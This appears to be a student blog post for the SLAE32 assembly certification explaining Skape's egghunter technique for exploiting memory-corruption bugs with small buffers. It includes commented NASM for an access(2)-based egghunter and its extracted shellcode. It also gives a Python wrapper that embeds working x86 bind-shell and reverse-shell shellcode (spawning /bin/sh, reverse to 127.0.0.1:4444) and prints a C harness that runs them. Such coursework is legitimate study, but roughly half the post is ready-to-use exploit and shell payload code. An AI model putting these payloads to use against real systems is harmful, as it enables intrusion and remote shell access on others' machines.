SLAE32 Assignment 3 – EggHunter Shellcode

Nota: el contenido de esta entrada estará escrito en inglés con el objetivo de cumplir los requerimientos del examen para la obtención del certificado SLAE32 de Pentester Academy.

Note: content of this post will be written in English in order to be compliant and pass the SLAE32 certification exam brought by Pentester Academy.

This blog post has been created for completing the requirements of the SecurityTube Linux Assembly Expert certification: http://securitytube-training.com/online.courses/securitytube-linux-assembly-expert/.

Student ID: PA-26078

GitHub repository: https://github.com/tdkmp4n4/SLAE32_Exam/tree/main/Assignment3

Assignment tasks

The following tasks were given to the student:

  • Study about the EggHunter shellcode
  • Create a working demo off the EggHunter
  • Should be configurable for different payloads

EggHunter shellcode study

In order to understand what EggHunters are and how they operate, the best thing to do is reading the original paper from “Skape” written in 2004: Safely Searching Process Virtual Address Space. In spite of the time that has passed since 2004, the paper is not only well written, organized and explained but also very useful nowadays. I highly recommend all my visitors to prepare a cup of coffee and have a good time reading deeply through the paper.

EggHunting is a clever and well thought technique used to search Virtual Address Space for a predefined string (called “egg”) that will be followed by some kind of data that an attacker wants to locate. This can have many implications and uses, but the most common use is for exploiting. When dealing with memory corruption vulnerabilities, it is very common that the space the attacker has to place the shellcode is very limited. Therefore, there is a problem if the shellcode needs a room of bytes larger than the actual buffer available, because the exploitation will fail.

EggHunting routines are a way to circumvent these probelms. The technique is based on delivering a first stage which is called the EggHunter which will search the entire Virtual Address Space for a second stage that is preceeded by a defined string called egg. Once the egg is discovered, the EggHunter routine will jump directly to the second stage and execute it. However, in order to work properly, EggHunters must have the following features:

  1. It must be robust: it must search invalid memory regions without crashing and search anywhere in memory
  2. It must be small: it must fit where no other payload is not able to, being usable on exploiting
  3. It should be fast: it must be as quick as possible without violating requirements 1 and 2

Skape’s paper presents several techniques that can be used to develop EggHunters routines. However, as the scope of SLAE is purely based on Linux, only those techniques will be commented in this blog post. The paper describes at least 3 methods (all of them using syscalls) which can be used for EggHunting. Find the list below, as well as some measurable parameters that can be used to compare between them.

  • Using access(2) syscall:
    • Size: 39 bytes
    • Targets: Linux
    • Egg Size: 8 bytes
    • Executable Egg: Yes
    • Speed: 8 seconds
    • Robustness: Complete
  • Using access(2) syscall revisited:
    • Size: 35 bytes
    • Targets: Linux
    • Egg Size: 8 bytes
    • Executable Egg: No
    • Speed: 7.5 seconds
    • Robustness: Almost complete
  • Using sigaction(2)
    • Size: 30 bytes
    • Targets: Linux
    • Egg Size: 8 bytes
    • Executable Egg: No
    • Speed: 2.5 seconds
    • Robustness: Very high

Working demo of the EggHunter

As it is commented above, Skape’s paper propose three methods to implement an EggHunter routine on Linux systems. In order to pass this assignment, method 2 is chosen. As there is a commitment relationship between size and robustness, a balanced solution is going to be implemented. Access(2) syscall revisited has almost complete robustness, as well as a good size, suitable for many memory corruption bug exploits. However, the other solutions are feasible and simple to implement and the paper provides a good explanation on all of them (recall that reading the paper is a must). The following snippet of assembly code is adapted from Skape’s one in his paper, Furthermore, it has been commented in order to have a better understanding of every instruction:

; Filename: EggHunter.nasm
; Author:  David Alvarez Robles (km0xu95)
; Website:  https://blog.asturhackers.es
;
; Purpose: This assembly file has been created for completing the requirements of the SecurityTube Linux Assembly Expert (SLAE) certification

; Define entry point
global _start			


; Start text section
section .text
_start:

	xor edx, edx	; Clear EDX register

	; Page alignment
	next_page:
		or dx, 0xfff	; Page size is 4096 (0x1000). As adding 0x1000 would add null bytes, a trick is used making an OR with 0xFFF (no nulls) and incrementing EDX by one (next instruction)

	; Address sweep
	next_address:
		inc edx	; Increment memory address by one

	lea ebx, [edx+0x4]	; Loading EDX+4 value on EBX (4 is added to memory address on EDX in order to check 8 bytes per swoop)
	push byte +0x21		; Pushing 33 to stack in order to store it on EAX (33 is access(2) system call)
	pop eax			; Load 33 on EAX in order to make syscall
	int 0x80 		; Calling syscall

	cmp al, 0xf2		; Check if return value was EFAULT
	jz next_page		; If return value was EFAULT, go to next address page

	mov eax, 0x50905090	; If return value was not EFAULT, move egg to EAX register
	mov edi, edx		; Storing current memory address on EDI (copied from EDX)
	scasd			; Comparison between value in EDI and value in EAX (value in memory address to check and egg respectively)
	jnz next_address	; If comparison is not true, go to next memory address to check
	scasd			; If comparison is true, make the comparison again as EDI is EDI+4 after first scasd call (and egg must be 8 bytes long)
	jnz next_address	; If comparison is not true, go to next memory address to check
	jmp edi			; If both comparisons were true, jump to EDI (EDX+8) which holds the shellcode

Finally, shellcode for the EggHunting routine can be extracted from assembly code:


\x31\xd2\x66\x81\xca\xff\x0f\x42\x8d\x5a\x04\x6a\x21\x58\xcd\x80\x3c\xf2\x74\xee\xb8\x90\x50\x90\x50\x89\xd7\xaf\x75\xe9\xaf\x75\xe6\xff\xe7

Payload wrapper

EggHunting routines final purpose is finding some content in memory or Virtual Address Space. When applying them to exploiting, the final purpose is slightly different and is to execute some shellcode which is preceeded by the egg. In order to accomplish that task, a Python wrapper was developed in order to choose from “HelloWorld”, “Bind” and “Reverse” payloads to be included with the egg. This wrapper will add to the chosen payload shellcode 8 bytes corresponding to the egg in order and it constitutes the objective to be found by the EggHunter routine. The following code was developed:

#!/usr/bin/python

# Filename: wrapper.py
# Author: David Alvarez Robles (km0xu95)
# Website: https://blog.asturhackers.es

# Purpose: This script was developed in order to dynamically change the payload
# used in the EggHunter shellcode

import sys
import re

if(len(sys.argv) != 2):
	print "Usage: ./wrapper.py <HelloWorld/Bind/Reverse>"
	sys.exit(0)

elif(not(sys.argv[1].startswith("HelloWorld") or sys.argv[1].startswith("Bind") or sys.argv[1].startswith("Reverse"))):
	print "[-] Payload must be HelloWorldBind or Reverse"
	sys.exit(0)

else:
	print "[*] Selected payload: " + sys.argv[1]
	egghunter = "\\x31\\xd2\\x66\\x81\\xca\\xff\\x0f\\x42\\x8d\\x5a\\x04\\x6a\\x21\\x58\\xcd\\x80\\x3c\\xf2\\x74\\xee\\xb8\\x90\\x50\\x90\\x50\\x89\\xd7\\xaf\\x75\\xe9\\xaf\\x75\\xe6\\xff\\xe7"
	egg = "\\x90\\x50\\x90\\x50"*2
	helloworld = "\\xeb\\x17\\x31\\xc0\\xb0\\x04\\x31\\xdb\\xb3\\x01\\x59\\x31\\xd2\\xb2\\x0d\\xcd\\x80\\x31\\xc0\\xb0\\x01\\x31\\xdb\\xcd\\x80\\xe8\\xe4\\xff\\xff\\xff\\x48\\x65\\x6c\\x6c\\x6f\\x20\\x57\\x6f\\x72\\x6c\\x64\\x21\\x0a"
	bind = "\\x31\\xc0\\x89\\xc3\\x50\\x6a\\x01\\x6a\\x02\\xb0\\x66\\x43\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x31\\xf6\\x56\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x16\\x56\\x52\\xb0\\x66\\x43\\x89\\xe1\\xcd\\x80\\x6a\\x01\\x52\\xb0\\x66\\x83\\xc3\\x02\\x89\\xe1\\xcd\\x80\\x31\\xff\\x57\\x57\\x52\\xb0\\x66\\x83\\xc3\\x01\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x89\\xd3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"
	reverse = "\\x31\\xc0\\x89\\xc3\\x50\\x6a\\x01\\x6a\\x02\\xb0\\x66\\x43\\x89\\xe1\\xcd\\x80\\x89\\xc2\\x31\\xf6\\x68\\x7f\\x00\\x00\\x01\\x66\\x68\\x11\\x5c\\x66\\x6a\\x02\\x89\\xe6\\x6a\\x16\\x56\\x52\\xb0\\x66\\x83\\xc3\\x02\\x89\\xe1\\xcd\\x80\\x89\\xd3\\x31\\xc9\\xb1\\x02\\xb0\\x3f\\xcd\\x80\\x49\\x79\\xf9\\x31\\xc0\\x50\\x68\\x6e\\x2f\\x73\\x68\\x68\\x2f\\x2f\\x62\\x69\\x89\\xe3\\x50\\x53\\x89\\xe1\\x31\\xd2\\xb0\\x0b\\xcd\\x80"

	print "[+] Code for C proof-of-concept:\n"

	print "#include<stdlib.h>"
	print "#include<stdio.h>"
	print "#include<string.h>"
	print ""
	print "unsigned char egghunter[] = \"" + egghunter + "\";"
	print ""
	if sys.argv[1].startswith("HelloWorld"):
		print "unsigned char code[] = \"" + egg + helloworld + "\";"
	elif sys.argv[1].startswith("Bind"):
		print "unsigned char code[] = \"" + egg + bind + "\";"
	else:
		print "unsigned char code[] = \"" + egg + reverse + "\";"
	print ""
	print "main()"
	print "{"
	print "\tchar *buffer;"
	print "\tbuffer = malloc(strlen(code));"
	print "\tmemcpy(buffer, code, strlen(code));"
	print ""
	print "\tprintf(\"EggHunter routine length: %d\\n\", strlen(egghunter));"
	print "\tprintf(\"Shellcode length: %d\\n\", strlen(code));"
	print ""
	print "\tint (*ret) () = (int(*)())egghunter;"
	print ""
	print "\tret();"
	print ""
	print "\tfree(buffer);"
	print "}"

Note that this wrapper will output a C file including the EggHunter routine, as well as the code variable which is going to be place somewhere in memory (using “malloc” function). As the EggHunter routine will be executed, theoretically, the original payload should be executed as well, as it will be “hunted”.

EggHunting proof-of-concept check

The following images show that the wrapper script and the EggHunting routine developed works as exepected, executing the selected payload by searching for it in memory or Virtual Address Space.

Final thoughts

This task was very useful for understanding how some modern exploits work and how EggHunter routines help researchers in order to find a place for the shellcode and execute it when specific constraints are present on buffer size. In common words, this task is simply awesome and highly recommendable for every exploit researcher or offensive security professional.

~km0xu95